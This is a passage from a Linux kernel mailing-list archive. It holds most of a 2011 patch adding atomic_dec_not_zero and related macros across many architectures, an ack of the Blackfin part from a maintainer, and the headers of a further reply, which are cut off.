 include/asm-generic/atomic64.h     |    1 +
 include/asm-generic/local.h        |    1 +
 include/asm-generic/local64.h      |    2 ++
 32 files changed, 50 insertions(+), 0 deletions(-)

diff --git a/arch/alpha/include/asm/atomic.h b/arch/alpha/include/asm/atomic.h
index e756d04..7e9434e 100644
--- a/arch/alpha/include/asm/atomic.h
+++ b/arch/alpha/include/asm/atomic.h
@@ -200,6 +200,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 /**
  * atomic64_add_unless - add unless the number is a given value
@@ -226,6 +227,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic_add_negative(a, v) (atomic_add_return((a), (v)) < 0)
 #define atomic64_add_negative(a, v) (atomic64_add_return((a), (v)) < 0)
diff --git a/arch/alpha/include/asm/local.h b/arch/alpha/include/asm/local.h
index b9e3e33..09fb327 100644
--- a/arch/alpha/include/asm/local.h
+++ b/arch/alpha/include/asm/local.h
@@ -79,6 +79,7 @@ static __inline__ long local_sub_return(long i, local_t * l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_add_negative(a, l) (local_add_return((a), (l)) < 0)
 
diff --git a/arch/arm/include/asm/atomic.h b/arch/arm/include/asm/atomic.h
index 7e79503..a005265 100644
--- a/arch/arm/include/asm/atomic.h
+++ b/arch/arm/include/asm/atomic.h
@@ -218,6 +218,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 	return c != u;
 }
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #define atomic_inc(v)		atomic_add(1, v)
 #define atomic_dec(v)		atomic_sub(1, v)
@@ -459,6 +460,7 @@ static inline int atomic64_add_unless(atomic64_t *v, u64 a, u64 u)
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 #else /* !CONFIG_GENERIC_ATOMIC64 */
 #include <asm-generic/atomic64.h>
diff --git a/arch/avr32/include/asm/atomic.h b/arch/avr32/include/asm/atomic.h
index bbce6a1..e6f39c1 100644
--- a/arch/avr32/include/asm/atomic.h
+++ b/arch/avr32/include/asm/atomic.h
@@ -189,6 +189,7 @@ static inline int atomic_sub_if_positive(int i, atomic_t *v)
 #define atomic_add_negative(i, v) (atomic_add_return(i, v) < 0)
 
 #define atomic_inc_not_zero(v)	atomic_add_unless(v, 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 #define atomic_dec_if_positive(v) atomic_sub_if_positive(1, v)
 
 #define smp_mb__before_atomic_dec()	barrier()
diff --git a/arch/blackfin/include/asm/atomic.h b/arch/blackfin/include/asm/atomic.h
index e485089..900682e 100644
--- a/arch/blackfin/include/asm/atomic.h
+++ b/arch/blackfin/include/asm/atomic.h
@@ -103,6 +103,7 @@ static inline int atomic_test_mask(int mask, atomic_t *v)
 	c != (u);						\
 })
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 /*
  * atomic_inc_and_test - increment and test
diff --git a/arch/cris/include/asm/atomic.h b/arch/cris/include/asm/atomic.h
index 88dc9b9..9db2767 100644
--- a/arch/cris/include/asm/atomic.h
+++ b/arch/cris/include/asm/atomic.h
@@ -151,6 +151,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 	return ret != u;
 }
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 /* Atomic operations are already serializing */
 #define smp_mb__before_atomic_dec()    barrier()
diff --git a/arch/frv/include/asm/atomic.h b/arch/frv/include/asm/atomic.h
index fae32c7..90f12a8 100644
--- a/arch/frv/include/asm/atomic.h
+++ b/arch/frv/include/asm/atomic.h
@@ -257,6 +257,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #include <asm-generic/atomic-long.h>
 #endif /* _ASM_ATOMIC_H */
diff --git a/arch/h8300/include/asm/atomic.h b/arch/h8300/include/asm/atomic.h
index 984221a..eda4c8a 100644
--- a/arch/h8300/include/asm/atomic.h
+++ b/arch/h8300/include/asm/atomic.h
@@ -117,6 +117,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 	return ret != u;
 }
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 static __inline__ void atomic_clear_mask(unsigned long mask, unsigned long *v)
 {
diff --git a/arch/ia64/include/asm/atomic.h b/arch/ia64/include/asm/atomic.h
index 4468814..e2777a9 100644
--- a/arch/ia64/include/asm/atomic.h
+++ b/arch/ia64/include/asm/atomic.h
@@ -106,6 +106,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 static __inline__ long atomic64_add_unless(atomic64_t *v, long a, long u)
 {
@@ -123,6 +124,7 @@ static __inline__ long atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic_add_return(i,v)						\
 ({									\
diff --git a/arch/m32r/include/asm/atomic.h b/arch/m32r/include/asm/atomic.h
index d44a51e..4e0b4ec 100644
--- a/arch/m32r/include/asm/atomic.h
+++ b/arch/m32r/include/asm/atomic.h
@@ -263,6 +263,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 static __inline__ void atomic_clear_mask(unsigned long  mask, atomic_t *addr)
 {
diff --git a/arch/m32r/include/asm/local.h b/arch/m32r/include/asm/local.h
index 734bca8..d536082 100644
--- a/arch/m32r/include/asm/local.h
+++ b/arch/m32r/include/asm/local.h
@@ -272,6 +272,7 @@ static inline int local_add_unless(local_t *l, long a, long u)
 }
 
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 static inline void local_clear_mask(unsigned long  mask, local_t *addr)
 {
diff --git a/arch/m68k/include/asm/atomic.h b/arch/m68k/include/asm/atomic.h
index 03ae3d1..187a33f 100644
--- a/arch/m68k/include/asm/atomic.h
+++ b/arch/m68k/include/asm/atomic.h
@@ -199,6 +199,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 /* Atomic operations are already serializing */
 #define smp_mb__before_atomic_dec()	barrier()
diff --git a/arch/mips/include/asm/atomic.h b/arch/mips/include/asm/atomic.h
index 4a02fe8..8c4109e 100644
--- a/arch/mips/include/asm/atomic.h
+++ b/arch/mips/include/asm/atomic.h
@@ -326,6 +326,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 	return c != (u);
 }
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #define atomic_dec_return(v) atomic_sub_return(1, (v))
 #define atomic_inc_return(v) atomic_add_return(1, (v))
@@ -698,6 +699,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #define atomic64_dec_return(v) atomic64_sub_return(1, (v))
 #define atomic64_inc_return(v) atomic64_add_return(1, (v))
diff --git a/arch/mips/include/asm/local.h b/arch/mips/include/asm/local.h
index fffc830..c34d3ca 100644
--- a/arch/mips/include/asm/local.h
+++ b/arch/mips/include/asm/local.h
@@ -137,6 +137,7 @@ static __inline__ long local_sub_return(long i, local_t * l)
 	c != (u);						\
 })
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_dec_return(l) local_sub_return(1, (l))
 #define local_inc_return(l) local_add_return(1, (l))
diff --git a/arch/mn10300/include/asm/atomic.h b/arch/mn10300/include/asm/atomic.h
index 9d773a6..bcad5d1 100644
--- a/arch/mn10300/include/asm/atomic.h
+++ b/arch/mn10300/include/asm/atomic.h
@@ -270,6 +270,7 @@ static inline void atomic_dec(atomic_t *v)
 })
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 /**
  * atomic_clear_mask - Atomically clear bits in memory
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index f819559..c2353cf 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -221,6 +221,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #define atomic_add(i,v)	((void)(__atomic_add_return( (i),(v))))
 #define atomic_sub(i,v)	((void)(__atomic_add_return(-(i),(v))))
@@ -335,6 +336,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #else /* CONFIG_64BIT */
 
diff --git a/arch/powerpc/include/asm/atomic.h b/arch/powerpc/include/asm/atomic.h
index b8f152e..906f49a 100644
--- a/arch/powerpc/include/asm/atomic.h
+++ b/arch/powerpc/include/asm/atomic.h
@@ -213,6 +213,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #define atomic_sub_and_test(a, v)	(atomic_sub_return((a), (v)) == 0)
 #define atomic_dec_and_test(v)		(atomic_dec_return((v)) == 0)
@@ -469,6 +470,7 @@ static __inline__ int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 #else  /* __powerpc64__ */
 #include <asm-generic/atomic64.h>
diff --git a/arch/powerpc/include/asm/local.h b/arch/powerpc/include/asm/local.h
index c2410af..3d4c58a 100644
--- a/arch/powerpc/include/asm/local.h
+++ b/arch/powerpc/include/asm/local.h
@@ -134,6 +134,7 @@ static __inline__ int local_add_unless(local_t *l, long a, long u)
 }
 
 #define local_inc_not_zero(l) local_add_unless((l), 1, 0)
+#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
 
 #define local_sub_and_test(a, l)	(local_sub_return((a), (l)) == 0)
 #define local_dec_and_test(l)		(local_dec_return((l)) == 0)
diff --git a/arch/s390/include/asm/atomic.h b/arch/s390/include/asm/atomic.h
index d9db138..09972c3 100644
--- a/arch/s390/include/asm/atomic.h
+++ b/arch/s390/include/asm/atomic.h
@@ -109,6 +109,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #undef __CS_LOOP
 
@@ -326,6 +327,7 @@ static inline long long atomic64_dec_if_positive(atomic64_t *v)
 #define atomic64_dec_return(_v)		atomic64_sub_return(1, _v)
 #define atomic64_dec_and_test(_v)	(atomic64_sub_return(1, _v) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1, 0)
 
 #define smp_mb__before_atomic_dec()	smp_mb()
 #define smp_mb__after_atomic_dec()	smp_mb()
diff --git a/arch/sh/include/asm/atomic.h b/arch/sh/include/asm/atomic.h
index c798312..848849e 100644
--- a/arch/sh/include/asm/atomic.h
+++ b/arch/sh/include/asm/atomic.h
@@ -31,6 +31,7 @@
 #define atomic_sub_and_test(i,v)	(atomic_sub_return((i), (v)) == 0)
 #define atomic_dec_and_test(v)		(atomic_sub_return(1, (v)) == 0)
 #define atomic_inc_not_zero(v)		atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v)		atomic_add_unless((v), -1, 0)
 
 #define atomic_inc(v)			atomic_add(1, (v))
 #define atomic_dec(v)			atomic_sub(1, (v))
diff --git a/arch/sparc/include/asm/atomic_32.h b/arch/sparc/include/asm/atomic_32.h
index 7ae128b..c7da1e5 100644
--- a/arch/sparc/include/asm/atomic_32.h
+++ b/arch/sparc/include/asm/atomic_32.h
@@ -53,6 +53,7 @@ extern void atomic_set(atomic_t *, int);
 #define atomic_sub_and_test(i, v) (atomic_sub_return(i, v) == 0)
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 /* This is the old 24-bit implementation.  It's still used internally
  * by some sparc-specific code, notably the semaphore implementation.
diff --git a/arch/sparc/include/asm/atomic_64.h b/arch/sparc/include/asm/atomic_64.h
index bdb2ff8..23ad7cf 100644
--- a/arch/sparc/include/asm/atomic_64.h
+++ b/arch/sparc/include/asm/atomic_64.h
@@ -86,6 +86,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 #define atomic64_cmpxchg(v, o, n) \
 	((__typeof__((v)->counter))cmpxchg(&((v)->counter), (o), (n)))
@@ -107,6 +108,7 @@ static inline long atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 /* Atomic operations are already serializing */
 #define smp_mb__before_atomic_dec()	barrier()
diff --git a/arch/tile/include/asm/atomic.h b/arch/tile/include/asm/atomic.h
index 75a1602..7fd7be2 100644
--- a/arch/tile/include/asm/atomic.h
+++ b/arch/tile/include/asm/atomic.h
@@ -130,6 +130,15 @@ static inline int atomic_read(const atomic_t *v)
  */
 #define atomic_inc_not_zero(v)		atomic_add_unless((v), 1, 0)
 
+/**
+ * atomic_dec_not_zero - decrement unless the number is zero
+ * @v: pointer of type atomic_t
+ *
+ * Atomically decrement @v by 1, so long as @v is non-zero.
+ * Returns non-zero if @v was non-zero, and zero otherwise.
+ */
+#define atomic_dec_not_zero(v)		atomic_add_unless((v), -1, 0)
+
 
 /*
  * We define xchg() and cmpxchg() in the included headers.
diff --git a/arch/tile/include/asm/atomic_32.h b/arch/tile/include/asm/atomic_32.h
index ed359aee..43137bd 100644
--- a/arch/tile/include/asm/atomic_32.h
+++ b/arch/tile/include/asm/atomic_32.h
@@ -243,6 +243,7 @@ static inline void atomic64_set(atomic64_t *v, u64 n)
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v)	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 /*
  * We need to barrier before modifying the word, since the _atomic_xxx()
diff --git a/arch/x86/include/asm/atomic.h b/arch/x86/include/asm/atomic.h
index 952a826..7102a0b 100644
--- a/arch/x86/include/asm/atomic.h
+++ b/arch/x86/include/asm/atomic.h
@@ -245,6 +245,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 /*
  * atomic_dec_if_positive - decrement by 1 if old value positive
diff --git a/arch/x86/include/asm/atomic64_64.h b/arch/x86/include/asm/atomic64_64.h
index 49fd1ea..2cb37f4 100644
--- a/arch/x86/include/asm/atomic64_64.h
+++ b/arch/x86/include/asm/atomic64_64.h
@@ -220,6 +220,7 @@ static inline int atomic64_add_unless(atomic64_t *v, long a, long u)
 }
 
 #define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
+#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
 
 /*
  * atomic64_dec_if_positive - decrement by 1 if old value positive
diff --git a/arch/xtensa/include/asm/atomic.h b/arch/xtensa/include/asm/atomic.h
index a96a061..3b2a7b3 100644
--- a/arch/xtensa/include/asm/atomic.h
+++ b/arch/xtensa/include/asm/atomic.h
@@ -249,6 +249,7 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 static inline void atomic_clear_mask(unsigned int mask, atomic_t *v)
 {
diff --git a/include/asm-generic/atomic-long.h b/include/asm-generic/atomic-long.h
index b7babf0..0fe75ab 100644
--- a/include/asm-generic/atomic-long.h
+++ b/include/asm-generic/atomic-long.h
@@ -130,6 +130,7 @@ static inline long atomic_long_add_unless(atomic_long_t *l, long a, long u)
 }
 
 #define atomic_long_inc_not_zero(l) atomic64_inc_not_zero((atomic64_t *)(l))
+#define atomic_long_dec_not_zero(l) atomic64_dec_not_zero((atomic64_t *)(l))
 
 #define atomic_long_cmpxchg(l, old, new) \
 	(atomic64_cmpxchg((atomic64_t *)(l), (old), (new)))
@@ -247,6 +248,7 @@ static inline long atomic_long_add_unless(atomic_long_t *l, long a, long u)
 }
 
 #define atomic_long_inc_not_zero(l) atomic_inc_not_zero((atomic_t *)(l))
+#define atomic_long_dec_not_zero(l) atomic_dec_not_zero((atomic_t *)(l))
 
 #define atomic_long_cmpxchg(l, old, new) \
 	(atomic_cmpxchg((atomic_t *)(l), (old), (new)))
diff --git a/include/asm-generic/atomic.h b/include/asm-generic/atomic.h
index e994197..4e1d3ef 100644
--- a/include/asm-generic/atomic.h
+++ b/include/asm-generic/atomic.h
@@ -139,6 +139,7 @@ static inline int atomic_add_unless(atomic_t *v, int a, int u)
 }
 
 #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
+#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
 
 static inline void atomic_clear_mask(unsigned long mask, unsigned long *addr)
 {
diff --git a/include/asm-generic/atomic64.h b/include/asm-generic/atomic64.h
index b18ce4f..f301c46 100644
--- a/include/asm-generic/atomic64.h
+++ b/include/asm-generic/atomic64.h
@@ -38,5 +38,6 @@ extern int	 atomic64_add_unless(atomic64_t *v, long long a, long long u);
 #define atomic64_dec_return(v)		atomic64_sub_return(1LL, (v))
 #define atomic64_dec_and_test(v)	(atomic64_dec_return((v)) == 0)
 #define atomic64_inc_not_zero(v) 	atomic64_add_unless((v), 1LL, 0LL)
+#define atomic64_dec_not_zero(v)	atomic64_add_unless((v), -1LL, 0LL)
 
 #endif  /*  _ASM_GENERIC_ATOMIC64_H  */
diff --git a/include/asm-generic/local.h b/include/asm-generic/local.h
index c8a5d68..82ef01f 100644
--- a/include/asm-generic/local.h
+++ b/include/asm-generic/local.h
@@ -44,6 +44,7 @@ typedef struct
 #define local_xchg(l, n) atomic_long_xchg((&(l)->a), (n))
 #define local_add_unless(l, _a, u) atomic_long_add_unless((&(l)->a), (_a), (u))
 #define local_inc_not_zero(l) atomic_long_inc_not_zero(&(l)->a)
+#define local_dec_not_zero(l) atomic_long_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
diff --git a/include/asm-generic/local64.h b/include/asm-generic/local64.h
index 02ac760..aa3a841 100644
--- a/include/asm-generic/local64.h
+++ b/include/asm-generic/local64.h
@@ -45,6 +45,7 @@ typedef struct {
 #define local64_xchg(l, n)	local_xchg((&(l)->a), (n))
 #define local64_add_unless(l, _a, u) local_add_unless((&(l)->a), (_a), (u))
 #define local64_inc_not_zero(l)	local_inc_not_zero(&(l)->a)
+#define local64_dec_not_zero(l)	local_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
@@ -83,6 +84,7 @@ typedef struct {
 #define local64_xchg(l, n)	atomic64_xchg((&(l)->a), (n))
 #define local64_add_unless(l, _a, u) atomic64_add_unless((&(l)->a), (_a), (u))
 #define local64_inc_not_zero(l)	atomic64_inc_not_zero(&(l)->a)
+#define local64_dec_not_zero(l)	atomic64_dec_not_zero(&(l)->a)
 
 /* Non-atomic variants, ie. preemption disabled and won't be touched
  * in interrupt, etc.  Some archs can optimize this case well. */
-- 
1.7.4.4


From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier.adi@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 00:44:46 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <BANLkTiminpyJ_opxhqG0E0gBOrF490b+tQ@mail.gmail.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1304484322 10696 80.91.229.12 (4 May 2011 04:45:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 04:45:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, David Howells <dhowells@redhat.com>,
	Chris Metcalf <cmetcalf@tilera.com>, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed May 04 06:45:10 2011
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1QHTxW-0002dv-Fv
	for lnx-linux-alpha@lo.gmane.org; Wed, 04 May 2011 06:45:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752045Ab1EDEpJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;lnx-linux-alpha@m.gmane.org>); Wed, 4 May 2011 00:45:09 -0400
Original-Received: from mail-yx0-f174.google.com ([209.85.213.174]:38802 "EHLO
	mail-yx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751101Ab1EDEpI convert rfc822-to-8bit (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Wed, 4 May 2011 00:45:08 -0400
Original-Received: by yxs7 with SMTP id 7so283670yxs.19
        for <multiple recipients>; Tue, 03 May 2011 21:45:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type:content-transfer-encoding;
        bh=SiHOHYPZplxYzEe1LV2HgbIkftjZmwJhiWkX9LoI13U=;
        b=SNmqV5qgB2uXNQyKPzcXfz+LFZEGWu4nQ0EyWbUhb7jpmMlcQFmt0aJcpDVzBh1q1e
         oKji0WXKLGALASK9TVCwnvoZapnFfducKJenfPgED4DIs9JT7Tvw0qXzvirkzDjv/S0G
         IhE7KtTHEFIPOYtsekS9WC3lCgt7DDliN1h5I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=P3q/LtiLXRDW5M9apfXqtpa0o1NGigAbH1bVHFdu+pPiKJ2tRE+akDw5nhKqNVQehj
         zft90B72mafT9ujrLEIfKmtWkWc6dWOiPnf3AFNPO1vEq5mJfSeBAWo76EfKYtror2gd
         mx3OZe9TRn8uRvt37KE3JCv8K0um3Iwr6Ghg0=
Original-Received: by 10.91.24.4 with SMTP id b4mr699396agj.34.1304484307079; Tue, 03
 May 2011 21:45:07 -0700 (PDT)
Original-Received: by 10.91.19.32 with HTTP; Tue, 3 May 2011 21:44:46 -0700 (PDT)
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1403 gmane.linux.kernel:1135055 gmane.linux.ports.arm.kernel:115839 gmane.linux.hardware.blackfin.kernel.devel:5403 gmane.linux.ports.ia64:21627 gmane.linux.ports.mips.general:30893 gmane.linux.ports.parisc:3678 gmane.linux.ports.ppc64.devel:74030 gmane.linux.ports.sh.devel:10906 gmane.linux.ports.sparc:14845 gmane.linux.kernel.cross-arch:9696
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1403>

On Tue, May 3, 2011 at 17:30, Sven Eckelmann wrote:
> Introduce an *_dec_not_zero operation. =C2=A0Make this a special case=
 of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.
>
> Cc: uclinux-dist-devel@blackfin.uclinux.org
>
> --- a/arch/blackfin/include/asm/atomic.h
> +++ b/arch/blackfin/include/asm/atomic.h
> @@ -103,6 +103,7 @@ static inline int atomic_test_mask(int mask, atom=
ic_t *v)
>        c !=3D (u);                                               \
>  })
>  #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
> +#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
>
>  /*
>  * atomic_inc_and_test - increment and test

no opinion on the actual idea, but for the Blackfin pieces:
Acked-by: Mike Frysinger <vapier@gentoo.org>
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" =
in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Tue, 03 May 2011 23:12:55 -0700 (PDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <20110503.231255.115931602.davem@davemloft.net>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304489630 1381 80.91.229.12 (4 May 2011 06:13:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 06:13:50 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, dhowells@redhat.com,
	cmetcalf@tilera.com, x86@kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
